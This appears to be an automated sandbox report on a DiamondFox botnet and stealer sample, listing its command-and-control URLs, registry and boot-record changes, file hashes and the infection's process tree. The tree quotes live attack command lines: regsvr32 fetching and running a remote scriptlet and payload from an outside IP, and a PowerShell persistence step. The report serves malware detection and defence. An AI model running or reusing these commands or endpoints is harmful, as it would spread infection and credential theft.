diamondfox | hxxp://148[.]163[.]12[.]101/WMndFrdk?keyword=Others&cost=0[.]00040&ad_campaign_id=262704&source=0

Analysis

max time kernel
141s
max time network
147s
platform
windows7_x64
resource
win7v20201028
submitted
17-11-2020 04:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://148.163.12.101/WMndFrdk?keyword=Others&cost=0.00040&ad_campaign_id=262704&source=0
Sample

201117-h9cj6sz8s6

Score

10^/10

diamondfox bootkit botnet persistence stealer

Malware Config

Extracted

Family

diamondfox

https://www.datanalysis.club/ms/gate.php

https://www.datanalysis.site/ms/gate.php

https://www.datanalysis.space/ms/gate.php

Mutex

cBFxpht5aCf0jy4gnUs3JgtqCB2O2tWJ

xor.plain

Signatures

DiamondFox
DiamondFox is a multipurpose botnet with many capabilities.
botnet stealer diamondfox

DiamondFox payload 6 IoCs

Detects DiamondFox payload in file/memory.

Processes:

resource	yara_rule
\Users\Admin\AppData\Roaming\setup.exe	diamondfox
C:\Users\Admin\AppData\Roaming\setup.exe	diamondfox
C:\Users\Admin\AppData\Roaming\setup.exe	diamondfox
\Users\Admin\AppData\Roaming\setup.exe	diamondfox
\Users\Admin\AppData\Roaming\setup.exe	diamondfox
\Users\Admin\AppData\Roaming\setup.exe	diamondfox

Blacklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

15 1720 rundll32.exe
Executes dropped EXE 1 IoCs

Processes:

setup.exe

pid process

576 setup.exe

flow	pid	process
15	1720	rundll32.exe

pid	process
576	setup.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dllhost.exe

Loads dropped DLL 9 IoCs

Processes:

regsvr32.exerundll32.exedllhost.exesetup.exe

pid process

1908 regsvr32.exe
1720 rundll32.exe
1720 rundll32.exe
1720 rundll32.exe
1720 rundll32.exe
1764 dllhost.exe
576 setup.exe
576 setup.exe
576 setup.exe
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1067

Processes:

dllhost.exe

description ioc process

File opened for modification \??\PhysicalDrive0 dllhost.exe

pid	process
1908	regsvr32.exe
1720	rundll32.exe
1720	rundll32.exe
1720	rundll32.exe
1720	rundll32.exe
1764	dllhost.exe
576	setup.exe
576	setup.exe
576	setup.exe

description	ioc	process
File opened for modification	\??\PhysicalDrive0	dllhost.exe

Modifies Internet Explorer settings 1 TTPs 39 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DOMStorage\213.159.203.207\NumberOfSubdomains = "1"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a60000000000200000000001066000000010000200000005fc390d9edb9ac0fdd04f4056d07da1068e614247be6e5165f73a25f4ac9931d000000000e800000000200002000000048d3166259dd6a26faccc17ff4700f5e952813b19272dde8996c732800e08705200000006f686eac4b36c4e840e0b02f866e18d717224a702ebea8c88615e80d118c29994000000096a6796478cca871c3412afa1667e3a55c7f0fe1113f28d0a10413c7db9d20daa2c33c77f261d42b6ee9dd012e211b53b0d70794ff75fb0a18dc8bc0f9e190fa	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{C3C0DCB1-288A-11EB-80C1-FE45F3F7002A} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a6000000000020000000000106600000001000020000000134d8ecdfc0eef6ec122df6cb22e3c4e14ab7203bdbbcff8c7673171beadce4a000000000e800000000200002000000085c8bd9eb5bfac0c937b1bc7927551957f17400d8f277dfbe323f8727f65eb5c900000005df2ca28136c9feedffff0e30f125cf0a004aea2c44ae30844af0baa3e4910354cc781afc25a2dc35292ec65339f105e88da1681d8029cc1ff996aca21cfb15c5adbd2ab402045f34e7f104de6d94e252672bb4175c8fd60e05dbbbc66bbe20a221e26d01b122b1aa83037c39bcab96a3b7a246a75643370f3af32c9a5dcfdcefd36efa52a4a8bde140e352ddd64f7244000000035b5cb8a1844316037b59f1998c5c8330f03a2f22d1a506726d3eb13ce3095bf6dc6cdf760b0f0e89b070864a52795035253b277db4afcaf3fd4d56495471dd5	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a0f7529397bcd601	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DOMStorage\213.159.203.207	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DOMStorage	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "312351178"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe

Modifies registry class 20 IoCs

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam\ = "OCRExam"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam.1.00\CLSID	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\ = "OCRExam"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\ProgID\ = "OCRExam.1.00"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\InprocServer32\ThreadingModel = "Apartment"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam.1.00\ = "OCRExam"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam.1.00\CLSID\ = "{20001111-0000-0000-0000-0000FEEDACDC}"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\InprocServer32\ = "C:\\Windows\\SysWOW64\\scrobj.dll"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam\CLSID\ = "{20001111-0000-0000-0000-0000FEEDACDC}"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam.1.00	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\ProgID	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\ScriptletURL\ = "http://213.159.203.207/views/2jh3ssk3a834m9vb5fdc0gidjg.sct"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID\ = "OCRExam"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\ScriptletURL	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{20001111-0000-0000-0000-0000FEEDACDC}\InprocServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\OCRExam\CLSID	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

dllhost.exepowershell.exe

pid process

1764 dllhost.exe
1764 dllhost.exe
1908 powershell.exe
1908 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

rundll32.exe

pid process

1720 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1908 powershell.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

288 iexplore.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

iexplore.exeIEXPLORE.EXEsetup.exe

pid process

288 iexplore.exe
288 iexplore.exe
1400 IEXPLORE.EXE
1400 IEXPLORE.EXE
1400 IEXPLORE.EXE
1400 IEXPLORE.EXE
576 setup.exe

pid	process
1764	dllhost.exe
1764	dllhost.exe
1908	powershell.exe
1908	powershell.exe

pid	process
1720	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1908	powershell.exe

pid	process
288	iexplore.exe

pid	process
288	iexplore.exe
288	iexplore.exe
1400	IEXPLORE.EXE
1400	IEXPLORE.EXE
1400	IEXPLORE.EXE
1400	IEXPLORE.EXE
576	setup.exe

Suspicious use of WriteProcessMemory 43 IoCs

Processes:

iexplore.exeIEXPLORE.EXEregsvr32.exeregsvr32.exerundll32.exedllhost.exesetup.exe

description	pid	process	target process
PID 288 wrote to memory of 1400	288	iexplore.exe	IEXPLORE.EXE
PID 288 wrote to memory of 1400	288	iexplore.exe	IEXPLORE.EXE
PID 288 wrote to memory of 1400	288	iexplore.exe	IEXPLORE.EXE
PID 288 wrote to memory of 1400	288	iexplore.exe	IEXPLORE.EXE
PID 1400 wrote to memory of 1036	1400	IEXPLORE.EXE	regsvr32.exe
PID 1400 wrote to memory of 1036	1400	IEXPLORE.EXE	regsvr32.exe
PID 1400 wrote to memory of 1036	1400	IEXPLORE.EXE	regsvr32.exe
PID 1400 wrote to memory of 1036	1400	IEXPLORE.EXE	regsvr32.exe
PID 1400 wrote to memory of 1036	1400	IEXPLORE.EXE	regsvr32.exe
PID 1400 wrote to memory of 1036	1400	IEXPLORE.EXE	regsvr32.exe
PID 1400 wrote to memory of 1036	1400	IEXPLORE.EXE	regsvr32.exe
PID 1036 wrote to memory of 1908	1036	regsvr32.exe	regsvr32.exe
PID 1036 wrote to memory of 1908	1036	regsvr32.exe	regsvr32.exe
PID 1036 wrote to memory of 1908	1036	regsvr32.exe	regsvr32.exe
PID 1036 wrote to memory of 1908	1036	regsvr32.exe	regsvr32.exe
PID 1036 wrote to memory of 1908	1036	regsvr32.exe	regsvr32.exe
PID 1036 wrote to memory of 1908	1036	regsvr32.exe	regsvr32.exe
PID 1036 wrote to memory of 1908	1036	regsvr32.exe	regsvr32.exe
PID 1908 wrote to memory of 1720	1908	regsvr32.exe	rundll32.exe
PID 1908 wrote to memory of 1720	1908	regsvr32.exe	rundll32.exe
PID 1908 wrote to memory of 1720	1908	regsvr32.exe	rundll32.exe
PID 1908 wrote to memory of 1720	1908	regsvr32.exe	rundll32.exe
PID 1908 wrote to memory of 1720	1908	regsvr32.exe	rundll32.exe
PID 1908 wrote to memory of 1720	1908	regsvr32.exe	rundll32.exe
PID 1908 wrote to memory of 1720	1908	regsvr32.exe	rundll32.exe
PID 1720 wrote to memory of 1764	1720	rundll32.exe	dllhost.exe
PID 1720 wrote to memory of 1764	1720	rundll32.exe	dllhost.exe
PID 1720 wrote to memory of 1764	1720	rundll32.exe	dllhost.exe
PID 1720 wrote to memory of 1764	1720	rundll32.exe	dllhost.exe
PID 1764 wrote to memory of 576	1764	dllhost.exe	setup.exe
PID 1764 wrote to memory of 576	1764	dllhost.exe	setup.exe
PID 1764 wrote to memory of 576	1764	dllhost.exe	setup.exe
PID 1764 wrote to memory of 576	1764	dllhost.exe	setup.exe
PID 1764 wrote to memory of 576	1764	dllhost.exe	setup.exe
PID 1764 wrote to memory of 576	1764	dllhost.exe	setup.exe
PID 1764 wrote to memory of 576	1764	dllhost.exe	setup.exe
PID 576 wrote to memory of 1908	576	setup.exe	powershell.exe
PID 576 wrote to memory of 1908	576	setup.exe	powershell.exe
PID 576 wrote to memory of 1908	576	setup.exe	powershell.exe
PID 576 wrote to memory of 1908	576	setup.exe	powershell.exe
PID 576 wrote to memory of 1908	576	setup.exe	powershell.exe
PID 576 wrote to memory of 1908	576	setup.exe	powershell.exe
PID 576 wrote to memory of 1908	576	setup.exe	powershell.exe

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://148.163.12.101/WMndFrdk?keyword=Others&cost=0.00040&ad_campaign_id=262704&source=0
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:288

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:288 CREDAT:275457 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1400

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" /s /i:"http://213.159.203.207/views/2jh3ssk3a834m9vb5fdc0gidjg.sct" scrobj.dll
3⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1036

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\System32\regsvr32.exe" /s /n /i:"http://213.159.203.207/views/gu0fsj482squftckp1hgr123r0.wav" "C:\Users\Admin\AppData\Local\Temp\nsu175D4621612.tmp.dll"
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1908

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\nsu175D4621612.tmp.dll",CPAILoad XSBSNWDAFU
5⤵
- Blacklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1720

C:\Windows\SysWOW64\dllhost.exe
"C:\Windows\system32\dllhost.exe"
6⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1764

C:\Users\Admin\AppData\Roaming\setup.exe
"C:\Users\Admin\AppData\Roaming\setup.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:576

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Copy-Item -Path 'C:\Users\Admin\AppData\Roaming\setup.exe' -Destination 'C:\Users\Admin\AppData\Local\tiedaxx\atiedxx.exe';Start-Sleep -s 60;Start-Process 'C:\Users\Admin\AppData\Local\tiedaxx\atiedxx.exe'
8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1908

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Bootkit

T1067

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
MD5
f54ede14320cf70daf812392a3a37a58

SHA1
48015fd95b4a233c99530c31202d2f5ab62bc86f

SHA256
d585380dd3e0eb358bfd278566b3c445f0c118fefe2d55aff49427b4b88a524a

SHA512
2be3eb7f66ffa6a198bc72607299a7c6de84fcf9c08caa0739cd5273faed3065f2c1fb35806460694b9c1e26e901c4f7a97ba68fa6103c82f1ee392307d7be87

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsu175D4621612.tmp.dll
MD5
6af994fab979c4e2f863f805a0065343

SHA1
2eeaacad6cf2a454a0b37978771e21beb881e64c

SHA256
e008ab1eaa39dd2cec76d2e2baec6f4b9ff529190e0b1ad5587e03ccfc8831df

SHA512
d6891ed9a181e6c72553cbc41dd6a17982d58c1228138eb8d4feaad547872f4f38716bfbcb603cfa2ffe373b48088c7e0ca9c0dfbc2f2ebe096aa592b36165a6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\TO5Z0BO6.txt
MD5
62acd302e2d2c574c3f7abb2c6addda7

SHA1
7d8a16cc460dc7478d6f39f888acf7eae9e4692a

SHA256
e02059179abc66b8fcbf1b362dcf8cd1bfe0214a4f4d154aff53ded142c10bc0

SHA512
90f2653de9383f2df6384fff4809280add623b29f216a74e559c4c5da6ce8d21e7010c122b1b0ebdd8cd209209f4656a612935af285a7ed0ab9c0a1618e91dcb

Download Submit
C:\Users\Admin\AppData\Roaming\setup.exe
MD5
1d5b46ff3cd12fd31362557299d6f488

SHA1
42f5d828b03f5e4c03e9f935683b5d82e6e7dc26

SHA256
2f134d1467c3765898a1befc311b86414f8df96d307a6f05b23eebbb8866a69c

SHA512
4dd2071b369bd150da53446313fff30b08054b8724a02444c400db2f0b14062c51a5aff2390b1845cc87b629ffc77ecc5e72877f77f824553b6f68a7b39a9d23

Download Submit
C:\Users\Admin\AppData\Roaming\setup.exe
MD5
1d5b46ff3cd12fd31362557299d6f488

SHA1
42f5d828b03f5e4c03e9f935683b5d82e6e7dc26

SHA256
2f134d1467c3765898a1befc311b86414f8df96d307a6f05b23eebbb8866a69c

SHA512
4dd2071b369bd150da53446313fff30b08054b8724a02444c400db2f0b14062c51a5aff2390b1845cc87b629ffc77ecc5e72877f77f824553b6f68a7b39a9d23

Download Submit
\Users\Admin\AppData\Local\Temp\nsu175D4621612.tmp.dll
MD5
6af994fab979c4e2f863f805a0065343

SHA1
2eeaacad6cf2a454a0b37978771e21beb881e64c

SHA256
e008ab1eaa39dd2cec76d2e2baec6f4b9ff529190e0b1ad5587e03ccfc8831df

SHA512
d6891ed9a181e6c72553cbc41dd6a17982d58c1228138eb8d4feaad547872f4f38716bfbcb603cfa2ffe373b48088c7e0ca9c0dfbc2f2ebe096aa592b36165a6

Download Submit
\Users\Admin\AppData\Local\Temp\nsu175D4621612.tmp.dll
MD5
6af994fab979c4e2f863f805a0065343

SHA1
2eeaacad6cf2a454a0b37978771e21beb881e64c

SHA256
e008ab1eaa39dd2cec76d2e2baec6f4b9ff529190e0b1ad5587e03ccfc8831df

SHA512
d6891ed9a181e6c72553cbc41dd6a17982d58c1228138eb8d4feaad547872f4f38716bfbcb603cfa2ffe373b48088c7e0ca9c0dfbc2f2ebe096aa592b36165a6

Download Submit
\Users\Admin\AppData\Local\Temp\nsu175D4621612.tmp.dll
MD5
6af994fab979c4e2f863f805a0065343

SHA1
2eeaacad6cf2a454a0b37978771e21beb881e64c

SHA256
e008ab1eaa39dd2cec76d2e2baec6f4b9ff529190e0b1ad5587e03ccfc8831df

SHA512
d6891ed9a181e6c72553cbc41dd6a17982d58c1228138eb8d4feaad547872f4f38716bfbcb603cfa2ffe373b48088c7e0ca9c0dfbc2f2ebe096aa592b36165a6

Download Submit
\Users\Admin\AppData\Local\Temp\nsu175D4621612.tmp.dll
MD5
6af994fab979c4e2f863f805a0065343

SHA1
2eeaacad6cf2a454a0b37978771e21beb881e64c

SHA256
e008ab1eaa39dd2cec76d2e2baec6f4b9ff529190e0b1ad5587e03ccfc8831df

SHA512
d6891ed9a181e6c72553cbc41dd6a17982d58c1228138eb8d4feaad547872f4f38716bfbcb603cfa2ffe373b48088c7e0ca9c0dfbc2f2ebe096aa592b36165a6

Download Submit
\Users\Admin\AppData\Local\Temp\nsu175D4621612.tmp.dll
MD5
6af994fab979c4e2f863f805a0065343

SHA1
2eeaacad6cf2a454a0b37978771e21beb881e64c

SHA256
e008ab1eaa39dd2cec76d2e2baec6f4b9ff529190e0b1ad5587e03ccfc8831df

SHA512
d6891ed9a181e6c72553cbc41dd6a17982d58c1228138eb8d4feaad547872f4f38716bfbcb603cfa2ffe373b48088c7e0ca9c0dfbc2f2ebe096aa592b36165a6

Download Submit
\Users\Admin\AppData\Roaming\setup.exe
MD5
1d5b46ff3cd12fd31362557299d6f488

SHA1
42f5d828b03f5e4c03e9f935683b5d82e6e7dc26

SHA256
2f134d1467c3765898a1befc311b86414f8df96d307a6f05b23eebbb8866a69c

SHA512
4dd2071b369bd150da53446313fff30b08054b8724a02444c400db2f0b14062c51a5aff2390b1845cc87b629ffc77ecc5e72877f77f824553b6f68a7b39a9d23

Download Submit
\Users\Admin\AppData\Roaming\setup.exe
MD5
1d5b46ff3cd12fd31362557299d6f488

SHA1
42f5d828b03f5e4c03e9f935683b5d82e6e7dc26

SHA256
2f134d1467c3765898a1befc311b86414f8df96d307a6f05b23eebbb8866a69c

SHA512
4dd2071b369bd150da53446313fff30b08054b8724a02444c400db2f0b14062c51a5aff2390b1845cc87b629ffc77ecc5e72877f77f824553b6f68a7b39a9d23

Download Submit
\Users\Admin\AppData\Roaming\setup.exe
MD5
1d5b46ff3cd12fd31362557299d6f488

SHA1
42f5d828b03f5e4c03e9f935683b5d82e6e7dc26

SHA256
2f134d1467c3765898a1befc311b86414f8df96d307a6f05b23eebbb8866a69c

SHA512
4dd2071b369bd150da53446313fff30b08054b8724a02444c400db2f0b14062c51a5aff2390b1845cc87b629ffc77ecc5e72877f77f824553b6f68a7b39a9d23

Download Submit
\Users\Admin\AppData\Roaming\setup.exe
MD5
1d5b46ff3cd12fd31362557299d6f488

SHA1
42f5d828b03f5e4c03e9f935683b5d82e6e7dc26

SHA256
2f134d1467c3765898a1befc311b86414f8df96d307a6f05b23eebbb8866a69c

SHA512
4dd2071b369bd150da53446313fff30b08054b8724a02444c400db2f0b14062c51a5aff2390b1845cc87b629ffc77ecc5e72877f77f824553b6f68a7b39a9d23

Download Submit
memory/576-22-0x0000000000000000-mapping.dmp

Download
memory/1036-6-0x0000000000000000-mapping.dmp

Download
memory/1180-0-0x000007FEF7510000-0x000007FEF778A000-memory.dmp

Filesize
2.5MB

Download
memory/1400-1-0x0000000000000000-mapping.dmp

Download
memory/1400-18-0x000000000CA90000-0x000000000CAE5000-memory.dmp

Filesize
340KB

Download
memory/1720-10-0x0000000000000000-mapping.dmp

Download
memory/1764-15-0x0000000000000000-mapping.dmp

Download
memory/1908-31-0x000000006EDF0000-0x000000006F4DE000-memory.dmp

Filesize
6.9MB

Download
memory/1908-30-0x0000000000000000-mapping.dmp

Download
memory/1908-7-0x0000000000000000-mapping.dmp

Download
memory/1908-32-0x00000000022F0000-0x00000000022F1000-memory.dmp

Filesize
4KB

Download
memory/1908-33-0x0000000004970000-0x0000000004971000-memory.dmp

Filesize
4KB

Download
memory/1908-34-0x0000000002500000-0x0000000002501000-memory.dmp

Filesize
4KB

Download
memory/1908-35-0x00000000028B0000-0x00000000028B1000-memory.dmp

Filesize
4KB

Download
memory/1908-38-0x0000000006180000-0x0000000006181000-memory.dmp

Filesize
4KB

Download
memory/1908-43-0x0000000006220000-0x0000000006221000-memory.dmp

Filesize
4KB

Download
memory/1908-44-0x0000000006290000-0x0000000006291000-memory.dmp

Filesize
4KB

Download
memory/1908-51-0x00000000063A0000-0x00000000063A1000-memory.dmp

Filesize
4KB

Download
memory/1908-52-0x00000000065F0000-0x00000000065F1000-memory.dmp

Filesize
4KB

Download